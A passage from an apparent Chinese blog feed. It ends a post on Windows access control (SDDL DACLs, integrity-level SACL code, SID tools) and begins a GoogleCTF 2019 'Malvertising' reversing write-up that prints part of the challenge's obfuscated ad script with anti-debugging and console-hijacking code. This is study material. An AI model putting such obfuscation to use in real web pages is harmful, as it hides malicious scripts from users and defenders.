class="built_in">printf</span>(<span class="string">&quot;Failed CreateMyDACL\n&quot;</span>);</span><br><span class="line">         <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">     &#125;</span><br><span class="line"></span><br><span class="line">     <span class="comment">// Use the updated SECURITY_ATTRIBUTES to specify</span></span><br><span class="line">     <span class="comment">// security attributes for securable objects.</span></span><br><span class="line">     <span class="comment">// This example uses security attributes during</span></span><br><span class="line">     <span class="comment">// creation of a new directory.</span></span><br><span class="line">     <span class="keyword">if</span> (<span class="number">0</span> == <span class="built_in">CreateDirectory</span>(<span class="built_in">TEXT</span>(<span class="string">&quot;C:\\MyFolder&quot;</span>), &amp;sa))</span><br><span class="line">     &#123;</span><br><span class="line">         <span class="comment">// Error encountered; generate message and exit.</span></span><br><span class="line">         <span class="built_in">printf</span>(<span class="string">&quot;Failed CreateDirectory\n&quot;</span>);</span><br><span class="line">         <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">     &#125;</span><br><span class="line"></span><br><span class="line">     <span class="comment">// Free the memory allocated for the SECURITY_DESCRIPTOR.</span></span><br><span class="line">     <span class="keyword">if</span> (<span class="literal">NULL</span> != <span class="built_in">LocalFree</span>(sa.lpSecurityDescriptor))</span><br><span class="line">     &#123;</span><br><span class="line">         <span class="comment">// Error encountered; generate message and exit.</span></span><br><span class="line">         <span class="built_in">printf</span>(<span class="string">&quot;Failed LocalFree\n&quot;</span>);</span><br><span class="line">         <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">     &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// CreateMyDACL.</span></span><br><span class="line"><span class="comment">//    Create a security descriptor that contains the DACL </span></span><br><span class="line"><span class="comment">//    you want.</span></span><br><span class="line"><span class="comment">//    This function uses SDDL to make Deny and Allow ACEs.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Parameter:</span></span><br><span class="line"><span class="comment">//    SECURITY_ATTRIBUTES * pSA</span></span><br><span class="line"><span class="comment">//    Pointer to a SECURITY_ATTRIBUTES structure. It is your</span></span><br><span class="line"><span class="comment">//    responsibility to properly initialize the </span></span><br><span class="line"><span class="comment">//    structure and to free the structure&#x27;s </span></span><br><span class="line"><span class="comment">//    lpSecurityDescriptor member when you have</span></span><br><span class="line"><span class="comment">//    finished using it. To free the structure&#x27;s </span></span><br><span class="line"><span class="comment">//    lpSecurityDescriptor member, call the </span></span><br><span class="line"><span class="comment">//    LocalFree function.</span></span><br><span class="line"><span class="comment">// </span></span><br><span class="line"><span class="comment">// Return value:</span></span><br><span class="line"><span class="comment">//    FALSE if the address to the structure is NULL. </span></span><br><span class="line"><span class="comment">//    Otherwise, this function returns the value from the</span></span><br><span class="line"><span class="comment">//    ConvertStringSecurityDescriptorToSecurityDescriptor </span></span><br><span class="line"><span class="comment">//    function.</span></span><br><span class="line"><span class="function">BOOL <span class="title">CreateMyDACL</span><span class="params">(SECURITY_ATTRIBUTES * pSA)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">     <span class="comment">// Define the SDDL for the DACL. This example sets </span></span><br><span class="line">     <span class="comment">// the following access:</span></span><br><span class="line">     <span class="comment">//     Built-in guests are denied all access.</span></span><br><span class="line">     <span class="comment">//     Anonymous logon is denied all access.</span></span><br><span class="line">     <span class="comment">//     Authenticated users are allowed </span></span><br><span class="line">     <span class="comment">//     read/write/execute access.</span></span><br><span class="line">     <span class="comment">//     Administrators are allowed full control.</span></span><br><span class="line">     <span class="comment">// Modify these values as needed to generate the proper</span></span><br><span class="line">     <span class="comment">// DACL for your application. </span></span><br><span class="line">     TCHAR * szSD = <span class="built_in">TEXT</span>(<span class="string">&quot;D:&quot;</span>)       <span class="comment">// Discretionary ACL</span></span><br><span class="line">        <span class="built_in">TEXT</span>(<span class="string">&quot;(D;OICI;GA;;;BG)&quot;</span>)     <span class="comment">// Deny access to </span></span><br><span class="line">                                     <span class="comment">// built-in guests</span></span><br><span class="line">        <span class="built_in">TEXT</span>(<span class="string">&quot;(D;OICI;GA;;;AN)&quot;</span>)     <span class="comment">// Deny access to </span></span><br><span class="line">                                     <span class="comment">// anonymous logon</span></span><br><span class="line">        <span class="built_in">TEXT</span>(<span class="string">&quot;(A;OICI;GRGWGX;;;AU)&quot;</span>) <span class="comment">// Allow </span></span><br><span class="line">                                     <span class="comment">// read/write/execute </span></span><br><span class="line">                                     <span class="comment">// to authenticated </span></span><br><span class="line">                                     <span class="comment">// users</span></span><br><span class="line">        <span class="built_in">TEXT</span>(<span class="string">&quot;(A;OICI;GA;;;BA)&quot;</span>);    <span class="comment">// Allow full control </span></span><br><span class="line">                                     <span class="comment">// to administrators</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="literal">NULL</span> == pSA)</span><br><span class="line">        <span class="keyword">return</span> FALSE;</span><br><span class="line"></span><br><span class="line">     <span class="keyword">return</span> <span class="built_in">ConvertStringSecurityDescriptorToSecurityDescriptor</span>(</span><br><span class="line">                szSD,</span><br><span class="line">                SDDL_REVISION_1,</span><br><span class="line">                &amp;(pSA-&gt;lpSecurityDescriptor),</span><br><span class="line">                <span class="literal">NULL</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行结束之后，可以通过属性查看目录的权限:</p><ul><li>当前用户有读写执行权限</li><li>管理员有读写执行权限</li><li>Anonymous和guests没有所有权限</li></ul><h3 id="sacl-system-access-control-list-系统权限控制链">SACL system access control list 系统权限控制链</h3><p>本质上用于审计的一个东西。管理员可以记录尝试访问安全对象。每个ACE将会指定由某个受托者尝试访问的类型，这些尝试将会在系统的安全事件日志中生成记录。当访问尝试失败，成功或两者都有的时候，SACL中的ACE可以生成审核记录。<br>从VISTA之后，SACL还可以用来指定<code>强制访问等级与策略 mandatory access level and policy</code>，也就是用来设置对象的完整性等级（Integrity Levels）。默认的策略是<code>No-Write-Up</code>较低完整性级别的进程允许读访问较高完整性级别的对象，但是不允许写访问。<br>从Win8之后，引入了<code>AppContainer</code>，实现了更细粒度的控制</p><h3 id="integrity-levels-完整性等级-il">Integrity Levels(完整性等级，IL)</h3><p>Windows使用IL来保护了每一个用户的每一个进程中对每一个对象的操作的权限操作。这个功能叫做强制完整性控制(Mandatory Integrity Control MIC)。MIC通过SRM，保证拥有低完整性的对象不能访问到高完整性的对象。<br>IL可以通过API<code>GetTokenInformation</code>来获取。这个IL同样受到SID的控制。尽管IL可以是任何值，不过系统中有6个默认值</p><ul><li>S-1-15-2-1: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES(可用’AC’表示)。这种表示的是普通的UWP进程</li><li>S-1-15-2-2: APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES。这种是表示所有的AppContainer</li><li>S-1-16-0x0: Untrusted(0) 由Anonymous Group创建，此时blocks大部分的write access</li><li>S-1-16-0x1000: Low(1) AppContainer也是这个等级，会block大部分对系统对象的write access</li><li>S-1-16-0x2000：Medium（2）通常程序的IL等级，一般是UAC enable的时候</li><li>S-1-16-0x3000：High（3）UAC启动的时候启动的程序，或者admin启动的程序</li><li>S-1-16-0x4000：System（4）系统级别的程序</li><li>S-1-16-0x5000：Protected（5）暂时未使用</li></ul><p>每个进程的的IL都存在其token中，并且会以类似创建自进程的方式传播。</p><p>每个对象其实也像进程一样，存放了一个类似IL的东西在其安全描述符中，一般被称为(mandatary label ML)<br>。ML与IL同样被存放在ACE中。ML中有如下的限制权限</p><table><thead><tr><th>Policy</th><th>Present on</th><th>Default Description</th></tr></thead><tbody><tr><td>No-Write-Up</td><td>Implicit on a objects</td><td>限制来自低权限的进程对对象的写权限</td></tr><tr><td>No-Read-Up</td><td>Only on process objects</td><td>限制低权限的进程会泄露敏感信息</td></tr><tr><td>No-Write-Up</td><td>Only on binraries implementing COM classes</td><td>限制来自低权限的进程尝试在高权限进程中执行COM对象</td></tr></tbody></table><h4 id="实例：创建sacl">实例：创建SACL</h4><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> OBJECT_TYPE_CREATE 0x0001</span></span><br><span class="line"><span class="function">NTSTATUS WINAPI <span class="title">SetKernelObjectIntegrityLevel</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">_In_ HANDLE Object,</span></span></span><br><span class="line"><span class="params"><span class="function">_In_ TOKEN_INTEGRITY_LEVELS_LIST IL</span></span></span><br><span class="line"><span class="params"><span class="function">)</span> </span>&#123;</span><br><span class="line">  SID_IDENTIFIER_AUTHORITY SIA_IL = SECURITY_MANDATORY_LABEL_AUTHORITY;</span><br><span class="line"><span class="type">const</span> <span class="type">size_t</span> AclLength = <span class="number">88</span>;</span><br><span class="line">NTSTATUS status = <span class="number">0</span>;</span><br><span class="line">PSID pSid = <span class="literal">nullptr</span>;</span><br><span class="line">PACL pAcl = <span class="literal">nullptr</span>;</span><br><span class="line">SECURITY_DESCRIPTOR sd;</span><br><span class="line">HANDLE hNewHandle = <span class="literal">nullptr</span>;</span><br><span class="line"></span><br><span class="line">status = <span class="built_in">PFNNtDuplicateObject</span>(</span><br><span class="line"><span class="built_in">GetCurrentProcess</span>(),</span><br><span class="line">Object,</span><br><span class="line"><span class="built_in">GetCurrentProcess</span>(),</span><br><span class="line">&amp;hNewHandle,</span><br><span class="line">DIRECTORY_ALL_ACCESS,</span><br><span class="line"><span class="number">0</span>, <span class="number">0</span></span><br><span class="line">);</span><br><span class="line">CHECKKIL</span><br><span class="line"></span><br><span class="line"><span class="comment">// initialize Interity sid</span></span><br><span class="line">status = <span class="built_in">PFNRtlAllocateAndInitializeSid</span>(</span><br><span class="line">&amp;SIA_IL, <span class="number">1</span>, IL,</span><br><span class="line"><span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, &amp;pSid);</span><br><span class="line">CHECKKIL</span><br><span class="line">pAcl = <span class="built_in">reinterpret_cast</span>&lt;PACL&gt;(<span class="built_in">HeapAlloc</span>(<span class="built_in">GetProcessHeap</span>(), HEAP_ZERO_MEMORY, AclLength));</span><br><span class="line"><span class="keyword">if</span> (pAcl == <span class="literal">nullptr</span>) &#123;</span><br><span class="line">std::cout &lt;&lt; <span class="string">&quot;Create Heap error&quot;</span> &lt;&lt; std::endl;</span><br><span class="line"><span class="keyword">goto</span> FuncEnd;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">status = <span class="built_in">PFNRtlCreateSecurityDescriptor</span>(</span><br><span class="line">&amp;sd, SECURITY_DESCRIPTOR_REVISION</span><br><span class="line">);</span><br><span class="line">CHECKKIL</span><br><span class="line"></span><br><span class="line">status = <span class="built_in">PFNRtlCreateAcl</span>(</span><br><span class="line">pAcl, AclLength, ACL_REVISION</span><br><span class="line">);</span><br><span class="line">CHECKKIL</span><br><span class="line"></span><br><span class="line"><span class="comment">// Add integrity level to ACL</span></span><br><span class="line">status = <span class="built_in">PFNRtlAddMandatoryAce</span>(</span><br><span class="line">pAcl, ACL_REVISION, <span class="number">0</span>, pSid,</span><br><span class="line">SYSTEM_MANDATORY_LABEL_ACE_TYPE, OBJECT_INHERIT_ACE);</span><br><span class="line">CHECKKIL</span><br><span class="line"></span><br><span class="line"><span class="comment">// set SACL</span></span><br><span class="line">status = <span class="built_in">PFNRtlSetSaclSecurityDescriptor</span>(&amp;sd, <span class="literal">true</span>, pAcl, <span class="literal">false</span>);</span><br><span class="line">CHECKKIL</span><br><span class="line"></span><br><span class="line"><span class="comment">// set kernel security object</span></span><br><span class="line">status = <span class="built_in">PFNNtSetSecurityObject</span>(</span><br><span class="line">hNewHandle, LABEL_SECURITY_INFORMATION, &amp;sd);</span><br><span class="line">CHECKKIL</span><br><span class="line"></span><br><span class="line">FuncEnd:</span><br><span class="line"><span class="built_in">HeapFree</span>(<span class="built_in">GetProcessHeap</span>(), <span class="literal">NULL</span>, pAcl);</span><br><span class="line"><span class="built_in">PFNRtlFreeSid</span>(pSid);</span><br><span class="line"><span class="built_in">PFNNtClose</span>(hNewHandle);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> status;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><em>开头的时候调用的这个<code>DuplicateObject</code>其实是一个trick，主要是为了能够让当前的object从伪句柄转换成真实句柄，从而让之后的操作能够生效</em><br>首先创建了一个SID，这一次使用的是<code>SECURITY_MANDATORY_LABEL_AUTHORITY</code>，也就是<code>IL</code>，代表此时的SID由IL授权。<br>然后我们创建一个空的安全描述符和ACL，之后调用API<code>RtlAddMandatoryAce</code>向这个ACL中填充SID，并且指定ACE的种类为<code>SYSTEM_MANDATORY_LABEL_ACE_TYPE</code>，也就是ACE种类为SACL中的ACE，最后指定这个object类型为<code>OBJECT_INHERIT_ACE</code>，也就是说当前的ACE能够被非AppContainer的object继承。<br>完成之后，将当前的ACL设置到到安全描述符，再将安全描述符赋给当前对象，从而完成<code>IL</code>的赋值。</p><h2 id="安全描述符是如何作用在一个新的目录对象-directory-object-上的">安全描述符是如何作用在一个新的目录对象(Directory Object)上的</h2><p>当在活动目录域（Active Directory Domain）中创建一个对象的时候，是可以显示的知名一个对象的安全描述符的，此时对象的<code>nTSecurityDescriptor</code>属性将被设置为安全描述符。<br>活动目录域（Active Directory Domain）使用如下的规则来创建DACL：</p><ul><li>如果显示的指明了一个安全描述符，那么系统将会将从父对象中可以吧继承的ACE合并到指定的DACL中，除非<code>SE_DACL_PROTECTED</code>这个属性在安全描述符中被设置了。</li><li>如果没有指明安全描述符的时候，那么系统将会从对象的<code>classSchema </code> 中查找默认DACL，然后让父对象中可以继承的ACE合并到DACL中</li><li>如果对象的<code>classShema</code>中不包含DACL，那么此时的DACL将会和创建这个对象的线程的token(primary/impersonate token)一致</li><li>如果上述条件都不满足，那么之后会生成不包含DACL的对象，此时该对象就可以被所有对象访问。</li></ul><h3 id="小节末参考网址">小节末参考网址</h3><p><a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/ace-strings">https://docs.microsoft.com/en-us/windows/win32/secauthz/ace-strings</a></p><p>（未完待续）</p><h2 id="相关工具">相关工具</h2><h3 id="psgetsid-64">PsGetsid(64)</h3><p>可以用来获取SID对应关系的神器，非常好用。</p><h3 id="使用powershell查看sid">使用Powershell查看SID</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">WMIC useraccount get name,sid</span><br></pre></td></tr></table></figure><p>查看当前电脑上的sid</p><h2 id="参考文章">参考文章</h2><p><a href="http://drops.xmd5.com/static/drops/tips-11803.html">http://drops.xmd5.com/static/drops/tips-11803.html</a><br><a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-string-format">https://docs.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-string-format</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;说到安全防护，以前听到很多的声音说 Windows 的安全防护做的没有 Linux 的好。其实我也不太懂Linux或者Windows做了些啥，不过就是无脑跟风这种声音。这一篇将会介绍一下 Windows 在安全防护上究竟做了一些什么。&lt;/p&gt;
&lt;h2 id=&quot;more-windows-安全相关-上&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="Windows" scheme="https://showlinkroom.me/tags/Windows/"/>
    
  </entry>
  
  <entry>
    <title>GoogleCTF 2019</title>
    <link href="https://showlinkroom.me/2019/07/29/GoogleCTF-2019/"/>
    <id>https://showlinkroom.me/2019/07/29/GoogleCTF-2019/</id>
    <published>2019-07-29T15:48:05.000Z</published>
    <updated>2020-07-16T13:31:30.384Z</updated>
    
    <content type="html"><![CDATA[<p>时隔两年又玩了一把googlectf，这次看了一整天都没看出一题来，事后决定点时间学习一波，这一学就学了一大堆的东西。，，总共花了3周才整理了5题的wp，这个比赛实在是过于硬核。。。</p><span id="more"></span><h2 id="googlectf-2019">GoogleCTF 2019</h2><h1 id="rev">Rev</h1><h2 id="malvertising-140">Malvertising (140)</h2><p>这个题目本意是模拟了恶意广告（那种覆盖页面，点击后会跳转的广告），然后顺着混淆的<code>js</code>脚本找到源头，所以和<code>Reverse</code>相关，但是全部都是发生在Web段。。。</p><h3 id="stage1">Stage1</h3><p>题目是一个url<code>https://malvertising.web.ctfcompetition.com</code><br><img src="/2019/07/29/GoogleCTF-2019/wp00.png" alt=""><br>随便点击之后就会跳转到<code>google.com</code>上。对当前界面的代码进行审计，可以看到如下关键代码:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">  <span class="keyword">function</span> <span class="title function_">click</span>(<span class="params"></span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="variable language_">window</span>.<span class="property">top</span>.<span class="property">location</span>.<span class="property">href</span> = <span class="string">&quot;http://www.google.com&quot;</span>;</span></span><br><span class="line"><span class="language-javascript">  &#125;</span></span><br><span class="line"><span class="language-javascript">  <span class="variable language_">document</span>.<span class="title function_">addEventListener</span>(<span class="string">&quot;click&quot;</span>, click)</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">id</span>=<span class="string">&quot;adjs&quot;</span> <span class="attr">src</span>=<span class="string">&quot;./src/metrics.js&quot;</span> <span class="attr">type</span>=<span class="string">&quot;text/javascript&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>这个地方尝试加载了一个js脚本，于是去资源中找到这个脚本，不过基本上是看不懂的。。。用Chrome自带的格式化工具处理之后，大致如下:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 省略前面一大段</span></span><br><span class="line">&#125;();</span><br><span class="line"><span class="keyword">var</span> w = <span class="title function_">d</span>(<span class="variable language_">this</span>, <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> c = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;\x64\x65\x76&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">      , d = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;\x77\x69\x6e\x64\x6f\x77&#x27;</span>;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">var</span> e = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> f = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">&#x27;\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d&#x27;</span>);</span><br><span class="line">        <span class="keyword">return</span> !f[<span class="string">&#x27;\x74\x65\x73\x74&#x27;</span>](c[<span class="string">&#x27;\x74\x6f\x53\x74\x72\x69\x6e\x67&#x27;</span>]());</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">var</span> g = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> h = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">&#x27;\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b&#x27;</span>);</span><br><span class="line">        <span class="keyword">return</span> h[<span class="string">&#x27;\x74\x65\x73\x74&#x27;</span>](d[<span class="string">&#x27;\x74\x6f\x53\x74\x72\x69\x6e\x67&#x27;</span>]());</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">var</span> i = <span class="keyword">function</span>(<span class="params">j</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> k = ~-<span class="number">0x1</span> &gt;&gt; <span class="number">0x1</span> + <span class="number">0xff</span> % <span class="number">0x0</span>;</span><br><span class="line">        <span class="keyword">if</span> (j[<span class="string">&#x27;\x69\x6e\x64\x65\x78\x4f\x66&#x27;</span>](<span class="string">&#x27;\x69&#x27;</span> === k)) &#123;</span><br><span class="line">            <span class="title function_">l</span>(j);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">var</span> l = <span class="keyword">function</span>(<span class="params">m</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> n = ~-<span class="number">0x4</span> &gt;&gt; <span class="number">0x1</span> + <span class="number">0xff</span> % <span class="number">0x0</span>;</span><br><span class="line">        <span class="keyword">if</span> (m[<span class="string">&#x27;\x69\x6e\x64\x65\x78\x4f\x66&#x27;</span>]((!![] + <span class="string">&#x27;&#x27;</span>)[<span class="number">0x3</span>]) !== n) &#123;</span><br><span class="line">            <span class="title function_">i</span>(m);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">if</span> (!<span class="title function_">e</span>()) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="title function_">g</span>()) &#123;</span><br><span class="line">            <span class="title function_">i</span>(<span class="string">&#x27;\x69\x6e\x64\u0435\x78\x4f\x66&#x27;</span>);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="title function_">i</span>(<span class="string">&#x27;\x69\x6e\x64\x65\x78\x4f\x66&#x27;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="title function_">i</span>(<span class="string">&#x27;\x69\x6e\x64\u0435\x78\x4f\x66&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br><span class="line"><span class="title function_">w</span>();</span><br><span class="line"><span class="keyword">var</span> f = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> g = !![];</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">function</span>(<span class="params">h, i</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> j = g ? <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (i) &#123;</span><br><span class="line">                <span class="keyword">var</span> k = i[<span class="title function_">b</span>(<span class="string">&#x27;0x0&#x27;</span>, <span class="string">&#x27;Kb10&#x27;</span>)](h, <span class="variable language_">arguments</span>);</span><br><span class="line">                i = <span class="literal">null</span>;</span><br><span class="line">                <span class="keyword">return</span> k;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        : <span class="keyword">function</span>(<span class="params"></span>) &#123;&#125;</span><br><span class="line">        ;</span><br><span class="line">        g = ![];</span><br><span class="line">        <span class="keyword">return</span> j;</span><br><span class="line">    &#125;</span><br><span class="line">    ;</span><br><span class="line">&#125;();</span><br><span class="line"><span class="keyword">var</span> l = <span class="title function_">f</span>(<span class="variable language_">this</span>, <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> m = <span class="keyword">function</span>(<span class="params"></span>) &#123;&#125;;</span><br><span class="line">    <span class="keyword">var</span> n;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="keyword">var</span> o = <span class="title class_">Function</span>(<span class="title function_">b</span>(<span class="string">&#x27;0x1&#x27;</span>, <span class="string">&#x27;)ID3&#x27;</span>) + <span class="title function_">b</span>(<span class="string">&#x27;0x2&#x27;</span>, <span class="string">&#x27;3hyK&#x27;</span>) + <span class="string">&#x27;);&#x27;</span>);</span><br><span class="line">        n = <span class="title function_">o</span>();</span><br><span class="line">    &#125; <span class="keyword">catch</span> (p) &#123;</span><br><span class="line">        n = <span class="variable language_">window</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (!n[<span class="title function_">b</span>(<span class="string">&#x27;0x3&#x27;</span>, <span class="string">&#x27;^aQK&#x27;</span>)]) &#123;</span><br><span class="line">        n[<span class="title function_">b</span>(<span class="string">&#x27;0x4&#x27;</span>, <span class="string">&#x27;bxQ9&#x27;</span>)] = <span class="keyword">function</span>(<span class="params">m</span>) &#123;</span><br><span class="line">            <span class="keyword">var</span> f = &#123;&#125;;</span><br><span class="line">            f[<span class="title function_">b</span>(<span class="string">&#x27;0x5&#x27;</span>, <span class="string">&#x27;bxQ9&#x27;</span>)] = m;</span><br><span class="line">            f[<span class="title function_">b</span>(<span class="string">&#x27;0x6&#x27;</span>, <span class="string">&#x27;vH0t&#x27;</span>)] = m;</span><br><span class="line">            f[<span class="title function_">b</span>(<span class="string">&#x27;0x7&#x27;</span>, <span class="string">&#x27;bxQ9&#x27;</span>)] = m;</span><br><span class="line">            f[<span class="title function_">b</span>(<span class="string">&#x27;0x8&#x27;</span>, <span class="string">&#x27;jAUm&#x27;</span>)] = m;</span><br><span class="line">            f[<span class="string">&#x27;error&#x27;</span>] = m;</span><br><span class="line">            f[<span class="title function_">b</span>(<span class="string">&#x27;0x9&#x27;</span>, <span class="string">&#x27;SF81&#x27;</span>)] = m;</span><br><span class="line">            f[<span class="title function_">b</span>(<span class="string">&#x27;0xa&#x27;</span>, <span class="string">&#x27;$KuR&#x27;</span>)] = m;</span><br><span class="line">            <span class="keyword">return</span> f;</span><br><span class="line">        &#125;(m);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        n[<span class="title function_">b</span>(<span class="string">&#x27;0xb&#x27;</span>, <span class="string">&#x27;IfD@&#x27;</span>)][<span class="string">&#x27;log&#x27;</span>] = m;</span><br><span class="line">        n[<span class="title 